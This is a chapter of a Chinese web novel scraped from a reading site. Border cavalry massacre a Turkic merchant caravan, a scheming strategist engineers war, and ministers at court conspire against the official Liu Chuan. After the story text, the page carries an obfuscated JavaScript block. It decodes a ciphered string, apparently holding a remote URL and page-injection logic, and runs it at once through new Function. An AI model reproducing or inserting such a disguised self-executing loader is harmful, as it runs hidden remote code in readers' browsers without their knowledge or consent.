(手机请访问 m.duxs8.com)“大人,不可,我们还是小心点,派一些兄弟上去拦截盘问。”一个随从急忙道。
“放屁!”特穆尔托一脸怒气道:“来的是大军师给我们派来的贵客,援军,需要盘问什么?快点打开寨门,请他们进来。”
于是,这些草原突厥国商队,欢欣鼓舞,一脸笑容地涌向了寨门,要看看大军师请来的援军,到底是什么人?
“领队,这是军师给您最后一个锦囊妙计?”
“废话!”
“这些同盟军,听起来人数不少,训练有素啊。”
“那是当然,不然怎么联起手来,对付大夏?”
“头领,有点不对劲啊。来人到了营寨外,速度反而更快了!”一名瞭望的探子大叫起来。
“别一惊一乍的。有什么了不起?这是军师吩咐的,肯定不会有错。”特穆尔托骂道。
他话音未落,只听得临时营寨门处,一声巨响。
来人的前锋队伍,已经有四匹战马,同时在骑士的操纵之下,人立而起,狠狠踢在了寨门上!
只听得一声轰鸣,那简陋的寨门立即被四匹战马硬生生踩踏在地。
寨门后面,一脸笑容的草原突厥国人,被活生生压倒在寨门之下,随即被铁蹄践踏而过,只是惨叫几声就浑然没了声息。
铁骑铮铮,一拥而入!
为首的,是一名面如重枣、满脸杀气的大夏将士,高举马刀,怒吼一声:“杀!一个不留!”
他身后,跟着上千全副武装的明军铁骑,明火执仗,马刀的寒光映射着他们手中的火把,照的草原突厥国人眼前一片雪亮。
随即,大夏铁骑就杀了进来!
他们逢人便杀,遇到帐篷和马车便烧,这野狼谷中刹那间就变成了一片火海、人间地狱。
草原突厥国人猝不及防,惨叫声此起彼伏,人头乱滚,残肢横飞,鲜血喷溅。
一个又一个的帐篷被大夏铁骑明火执仗,扔出火把,迅速点燃。
特穆尔托一脸震惊!
“怎么回事?不是说接应自己的族人么?”
一名草原突厥国人跑到他面前,一把抓住他的手臂,惨叫道:“领队!领队!这些不是来接应我们的内应,而是大夏将士!他们偷袭我们!”
他话音未落,就被一支飞射而来的利箭,刺穿了那人的胸膛,鲜血喷了特穆尔托一脸,死不瞑目,徐徐倒下。
“这,怎么会这样?”特穆尔托吓得脸色苍白,喃喃道:“这不可能,这不可能!军师料事如神,怎么会搞错?”
他怒吼了起来:“你们别杀了!肯定搞错人啦!我们是草原突厥国商队!”
那领头的将军,恶狠狠啐了一口,大笑道:“那就没错啦。我带队,杀得就是草原突厥国人!哈哈!给我杀!”
大夏铁骑,往来冲杀,更加凶残。
特穆尔托眼神迷离,只会喃喃道:“杀得就是我们,怎么可能?”
要知道,这里属于极其偏僻的山谷,听名字就知道这里远离大路,百里无人烟,这些大夏铁骑,怎么找到这里,并展开突袭的?
特穆尔托浑身冰冷。
只有一个合理的解释。
那就是他们这些人,都被大军师宗正卿出卖了!
出卖给大夏边军,并暗中鼓动大夏边军前来袭杀他们。
但这样做有什么好处呢?
特穆尔托又惊又怒,想不到自己按照宗正卿的锦囊妙计行事,反而断送了这上千草原突厥国兄弟的性命。
“该死的宗正卿,我饶不了你!”特穆尔托眼疵欲裂,看着一个个兄弟被砍中,倒在血泊中。
大夏的边军,只用了区区一顿饭的功夫,就这里的草原突厥国人,统统杀光了。
草原突厥国人没有战马,也没有武器,完全无法逃脱,只能被大夏将士堵在山谷中,任意杀戮。
特穆尔托眼看要被一名大夏士兵砍死,却就地一滚,滚入了死人堆中,消失不见。
大夏士兵也没认出他来。毕竟这些都是临时起意的边军,反正他们见人就杀就对了。
特穆尔托躲在尸体之下,咬牙切齿看着大夏将士将他的商队,一千多草原突厥国人统统杀光了。
“该死!该死!宗正卿,你到底打什么鬼主意?”特穆尔托痛恨无比。
一道闪电突然划破他的脑海。
“宗正卿,拜月教?对了!”
“大军师宗正卿,表面上利用我草原突厥国对付大夏,其实另有小算盘。”
“如果大夏与草原突厥国和解,开放互市,拜月教还有什么存在的价值?那里的大夏人,就会被大汗彻底抛弃,或者抢劫,或者可以重税。拜月教必会衰落。”
“作为拜月教在草原突厥国的统治者,那宗正卿应该不希望看到我草原突厥国与大夏,关系缓和,开放互市,他最喜欢看到的是草原突厥国和大夏相互攻杀!”
特穆尔托也不是傻子,电光火石间他转念一想,已经想到了这其中的关键!
草原突厥国人的大军师宗正卿,根本是个破坏草原突厥国大夏关系的野心家!这次大夏的铁骑,甚至极有可能就是他招来,对付自己的!
自己带着草原突厥国商队,这一千多人,惨死在大夏境内,可汗必然勃然大怒,一定会向大夏讨要说法。双方一个不和,就会大打出手!
这不就遂了阴谋家宗正卿的心?
特穆尔托这才想起来,宗正卿临走时,意味深长将三个锦囊妙计交给自己的时候,说过一句话:“只要你完成了三个锦囊妙计,无论如何,大夏的声誉和贸易都会受到严重损害!”
“宗正卿!原来你一开始就打定主意,要牺牲掉我们?让草原突厥国和大夏开战?”特穆尔托愤怒地难以抑制,悲愤地躲在马车尸体之下,眼睁睁看着草原突厥国人被大夏边军一一杀光。
特穆尔托悲愤地看着眼前这一切。
刀刀见血,刀刀人命。
整个商队,只有他侥幸存活下来。
大夏边军倒也不会轻易放过活口,在那马将军的带领下,纷纷下马,一一对尸体补刀,重伤没死的草原突厥国人都会被无情杀死。
眼看大夏边军的脚步越来越近,特穆尔托都要绝望了。
但天无绝人之路。
他骤然看到了在马车身后,居然有一个灌木丛掩映的洞穴。这洞穴貌似是狼或者狐狸打的,窄小只容许一个人进入。
他也顾不得骚臭和荆棘,两下三下爬了进去,将自己勉强藏好。
领队冷酷地带着大夏边军,认真搜查了全场,没有发现活口,才冷冷道:“此事必须禁口令,谁也不准说出去一个字!否则军法从事!”
那些大夏边军骑兵,齐声称是。
“这些草原突厥国人的尸体,就一把火烧了,他们的财物,大家带回去作为打草谷的收获!”领队冷哼一声道。
大夏军人欢呼起来,边军苦寒,且军饷俸禄经常不及时,还会被各级军官克扣,打草谷是获得财富最快的方式。
所谓打草谷,是指草原突厥国和大夏的边军,会经常越界劫掠对方的部落或者城镇。当然经常是草原突厥国人打草谷居多,大夏边军骑兵少,打草谷少些。
但对于这些愤青大夏边军,杀草原突厥国人商队,劫掠货物,并伪装成盗贼所为,根本毫无心理负担。
“一把火,焚尸灭迹!”领队喝道:“伪装成盗贼贪图钱财,袭击了这些草原突厥国人。”
虽然马将军对草原突厥国人恨之入骨,被那神秘的先生以大夏称臣纳贡,挑动仇恨,做下此事,但也有脑子。
他知道,一旦这么多草原突厥国人在大夏境内被杀,定然引起轩然大波。虽然破坏双方关系,符合他的铁血心愿,但马将军也不愿背黑锅。
干脆,杀人越货之后,推到盗贼身上,干净利落。
很快,山谷中烈火熊熊,火光冲天。
特穆尔托在山谷中,被烟熏火燎,眼看就要窒息而亡。他却不敢逃出火海,生怕被大夏将士发现补刀杀死。
“难道天也亡我?”特穆尔托绝望地想道。
万幸,也许是特穆尔托今天格外幸运。
这些将士乃是越界行事,截杀草原突厥国人,也不敢多停留。
他看着山谷火势熊熊,料想就算草原突厥国人有漏网之鱼,也会被烧死熏死,还是及早走掉为妙,于是带着所属军队,飞驰而去。
特穆尔托被烧得满脸漆黑,咳嗽着逃出了火海。
他回头一看,整个商队都被火焰吞噬,连个尸体都没留下。
“宗正卿!!”特穆尔托气得双手痉挛,伸向天空:“此仇不共戴天!”
他眼中饱含仇恨,跌跌撞撞,想要回到草原突厥国。
但,特穆尔托站住了。
就算回到了草原突厥国,他能斗得赢狡诈如狐、备受信任的宗正卿大军师么?
宗正卿会不会给他按上一个“通敌叛国、毁灭商队”的罪名,把他做掉呢?
以宗正卿的毒辣阴险,这很有可能。
且那群大夏边军,肯定在边境巡逻,自己万一赶上,就自投罗网了。
“我该怎么办?难道我的兄弟们,就这么死的不明不白?”
特穆尔托一阵绝望。
突然他的眼中闪过一个人影。
那是之前他还切齿痛恨的一个人。
但这个人,即使他特穆尔托各种花样,坑害大夏,依旧很仁慈地将他送了出来。
相比宗正卿这头饿狼,这个人简直是聪明与仁慈兼备的一头猛虎。
“这个人,比宗正卿还狡诈,但一定不希望大夏和草原突厥国开战。找他,一定行!”
特穆尔托拿定了主意,充满悲愤地看了一眼烈火山谷,还有那些被火焰吞噬的尸体,仇恨满满攥紧铁拳,赌咒发誓道:
“兄弟们,都怪我特穆尔托有眼无珠,才会相信那宗正卿的鬼话,把你们都带入了死路。我一定手刃这恶人,给你们复仇。”
他跌跌撞撞,走向了草原突厥国的反方向,向来时的工业基地方向走去。
……
……
一晃,就是三天过去了。
可汗始终没能等到特穆尔托的商队回来,终于按捺不住了。
................
“是不是本可汗的商队,在大夏遇到了什么危险?”可汗恶狠狠攥紧拳头,脑门上青筋暴起。
一旁的宗正卿,装作劝慰道:“大汗,不要忧虑,我估计大夏应该没胆量,明目张胆向我们和平的商队下手吧?不过可以向大夏提出,要求大夏寻找他们。”
可汗眼神凶厉,恶狠狠道:“好,此事你去速办。如果大夏真的敢对我的商队下手,本汗绝对饶不了大夏!我的铁骑,会让大夏的边境,变成人间地狱!”
宗正卿听到可汗的战争威胁,嘴角翘起一丝不易察觉的弧度。
头脑简单的草原突厥国人,就是这么容易利用。想要与大夏和解,想要通商贸易?先问我宗正卿答应不答应。
狡兔死良狗烹。
草原突厥国不打大夏,就要吃掉叛逃拜月教的大夏人。他作为拜月教在草原突厥国的统治者,岂能允许这种事情发生?
当天,可汗正式向大夏提出抗议,要求大夏寻找他们失踪的商队。
消息传到京城,引起了朝廷,还有女帝的高度戒备,特别是女帝,她和柳川明明已经安排妥当,绝不挑起争端,而是要在未来慢慢的割草原突厥国人的肉,现在却出了这事,难道有人擅动军士,图谋造反?
当天,女帝飞速下旨,命令在特穆尔托回草原突厥国沿途的官府和军队,寻找这支草原突厥国商队的踪迹。
但由于特穆尔托刻意欺骗了大夏军营的探子,带着商队走了不为人知的小路,在大路上巡逻的军营和官府,都没有看到过这支草原突厥国商队,搜索一无所获。
一晃六天过去了,一个路过的牧羊人,发现了山谷的惨状。
满地焦黑的死尸,惨不忍睹。
他吓得魂飞魄散,急忙报官。
巡逻的军营将士赶到时,只能看到满地臭烘烘的尸体。
于是,此事一石激起千层浪,引起了轩然大波!
……
……
草原突厥国。
“特穆尔托和他所有的手下,都遇害了?”可汗青筋暴起,恶狠狠一拳砸在桌子上:“怎么可能?大夏怎么敢?”
“唉……”宗正卿装模作样,叹息一声道:“可汗,看来我们真是高估了大夏贸易的诚意,低估了大夏人的凶残啊。特穆尔托可是带着一千多人,还有王庭部落辛辛苦苦积攒的不少战马,去了大夏,如今却财物不翼而飞,人都被杀光了。”
一名草原突厥国部落头领,气势汹汹道:“分明是大夏杀人越货!还说什么山贼所为?哼!我草原突厥国一千多勇士,就算没带武器战马,也不可能被山贼杀得精光!”
他的话,迅速引起了同仇敌忾草原突厥国人的共鸣。
“对!一定是那狡诈的大夏人干的!”
“我们不能轻易放过这件事!”
“一千多草原突厥国兄弟的血,要让大夏十倍偿还!”
“可汗,动手吧!”
宗正卿看着群情激奋的草原突厥国贵族们,嘴角微微一笑。
我的计策,奏效了。
特穆尔托,你在天之灵,可不要怨我啊,你可是说过,为了草原突厥国你什么都肯做的。
我只是用你和商队所有人的命,换取草原突厥国对大夏开战,仅此而已。草原突厥国战端一启,我拜月教的地位,立即水涨船高,我的权柄也将扩大。
可汗面对纷纷要打仗的草原突厥国各部首领,沉默了一会。他是一代枭雄,自然不是这些头脑简单的草原突厥国人可比。
他总是隐隐觉得,这其中哪里不对。
人,肯定是大夏境内被杀的,但到底是谁干的,可汗有些疑惑。
大夏的富庶,他是知道的。要说大夏会因为区区一些战马,就闹着全面开战的危险,黑了自己的商队,这事说不通。
“派使者,去大夏!讨要说法!”可汗终于下定决心:“同时草原突厥国各部,集结兵力,本可汗要带领十万草原突厥国铁骑,前出到边境。只要大夏说不出个合理的解释,或者不能做出让我满意的赔偿,我们草原突厥国铁骑就刀兵相见!”
这可汗是做了两手准备。一者利用外交施压,二者利用大兵压境。
如果大夏服软,交出凶手,给予足够的利益,可汗可以考虑不进攻,不然双方战争就难以避免。
宗正卿眉头一挑。
可汗没有马上命令进攻大夏,也在他的预料之中。毕竟在女帝和柳川的领导下,大夏国势中兴,实力提升了很多,草原突厥国入侵要付出更大的代价,这是不争的事实。但有自己在,草原突厥国大夏开战就迟早会发生。
宗正卿恶毒地想着,微笑起来。
……
几乎同意时间,大夏京城也收到了消息。
皇宫。
满朝文武,一个不拉,都在肃穆而立。
司礼监掌印宫女,也站立在女帝身边。
除了内阁首辅、工业基地贸易大臣柳川,在工业基地之外,其他大夏重臣都到齐了。
众人大多听说了大夏境内,发生的这件骇人听闻的事情,已经越演越烈,甚至酿成了草原突厥国与大夏又一次全面冲突......
可汗带着十万铁骑,在草原突厥国边境上集结,随时有全面进攻大夏的架势。
战争的阴云密布。
黑云压城城欲摧,山雨欲来风满楼。
女帝面色阴沉,目光在众人身上逡巡。
“刚刚说到哪了?兵部尚书,你是负责军事的,你来说说情况。”
“是,女帝。”兵部尚书出列,将草原突厥国商队,从进入大夏,到工业基地捣乱,再到被柳川赶出工业基地,返回草原突厥国的路上,被人截杀干净的事,重复了一遍。
长公主和礼部尚书孙德全听说,这草原突厥国商队是到了柳川的工业基地之后才出的事,中间又发生了纠纷,兴奋地对视一眼。
奸贼柳川又出事了,哈哈~~
奸贼柳川,你也有今天!
真特么爽!
两人都是贼精贼精的人一眼就看出,草原突厥国商队集体被杀之事,一个处理不好就是两国全面战争、生灵涂炭的结果!
柳川,难辞其咎!
就算往最好了说,柳川至少也有失察之处,应该论罪。
另外,一旦草原突厥国人扫荡北境,大夏势必进入战争状态,柳川的贸易大业,就要泡汤了。
说不定,是永远泡汤。
女帝神色阴冷,带着浓浓的黑眼圈,看来从昨夜知道了情况,就在发愁,没有休息好。
大夏,此时与草原突厥国全面战争,并不符合大夏利益啊。
无论胜负。
她睁着血丝的双眼,道:“各位爱卿,情况都知道了,有什么想法,就说吧”
孙德全当然不会放过这个攻讦柳川的机会,立即以礼部尚书的身份,迫不及待站出来道:“女帝!臣要以主管外交的礼部尚书名义,弹劾柳川!”
一上来,就有孙德全放大炮,这场朝议果然很刺激。
众人也纷纷侧目,看向孙德全。
兵部尚书、司礼监掌印宫女等与柳川关系较好的人,心中一紧。
孙德全果然义愤填膺道:“女帝,之前臣就参过柳川,觉得他对外国使节们不讲礼仪,友邦惊诧,结果女帝派我等去调查,却不了了之。如今,果然柳川又捅出了大娄子,连草原突厥国人的商队都被人杀光了。如今草原突厥国陈兵十万,在我边境之上,一言不合就要大举入寇。这都是柳川管理工业基地不严、对友邦不够重视的罪过!还请女帝重重论处治罪!”
朝中重臣们心中凛然。
果然不愧是孙德全,人老成精,不动则已,一动就是蛇咬一口入骨三分啊!
这是要柳川的命啊。
但孙德全还没发挥完毕,又开始滔滔不绝,劝说皇帝:“女帝,臣的礼部主管外交,草原突厥国使臣已经到了,臣与他交谈了一下,了解了草原突厥国可汗的用意。可汗要求我大夏做到两件事,一是严惩凶手,让他满意,二是大夏做出赔偿,让他满意。臣以为,首辅柳川责无旁贷,当引咎辞职。用我大夏一个首辅下台,定然能让草原突厥国人满意,我大夏再拿出足够的钱财,补偿他们的损失,草原突厥国必然不再入寇大夏。如此一来,双方能不动刀兵,化干戈为玉帛,善莫大焉。”
女帝听了,不置可否,问他:“那孙爱卿的意思是?”
孙德全迫不及待道:“此事,就是柳川的责任。谁捅出来的篓子,谁来负责!必须严惩柳川!”
随后,他傲然前进一步,环视群臣道:“本官知道,你们其中不乏柳川的朋友,但此事事关国运,如果发生战争,我大夏如果输了,别说中兴被打断,就连京城都要危险。柳川有一万个功劳,但只要他这次犯错,威胁到江山社稷,就决不能轻饶!”
礼部尚书孙德全撂下狠话,群臣也是暗中发抖。
有同情柳川的,或者认为此事应该调查的,都不敢说话了。
女帝一直面沉如水,也不表达意见,环视群臣:“还有没有说的?”
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();